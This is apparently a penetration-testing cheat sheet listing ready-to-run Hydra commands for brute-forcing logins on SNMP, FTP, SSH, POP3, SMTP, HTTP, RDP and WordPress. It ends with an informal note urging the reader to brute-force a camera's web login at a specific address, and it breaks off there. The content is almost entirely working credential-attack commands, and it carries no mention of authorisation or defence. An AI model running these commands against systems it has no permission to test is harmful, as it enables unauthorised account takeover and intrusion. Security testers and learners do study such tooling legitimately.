brute-forcing

Brute Forcing

• Hydra
  • Hydra brute force against SNMP
    hydra -P password-file.txt -v $ip snmp
  • Hydra FTP known user and password list
    hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp
  • Hydra SSH using list of users and passwords
    hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh
  • Hydra SSH using a known password and a username list
    hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh
  • Hydra SSH Against Known username on port 22 hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt
  • Hydra POP3 Brute Force
    hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V
  • Hydra SMTP Brute Force
    hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
  • Hydra attack http get 401 login with a dictionary
    hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin
  • Hydra attack Windows Remote Desktop with rockyou hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
  • Hydra brute force a Wordpress admin login hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'


Hydra brute force a WEbsite with a get request. Doesnt matter if the site uses basic auth, just do this!

hydra -l admin -P 1000_common_passwords.txt -s 8090 -f 192.168.1.4 http-get /get_camera_params.cgi
    
    And about 10 seconds later, I have the password: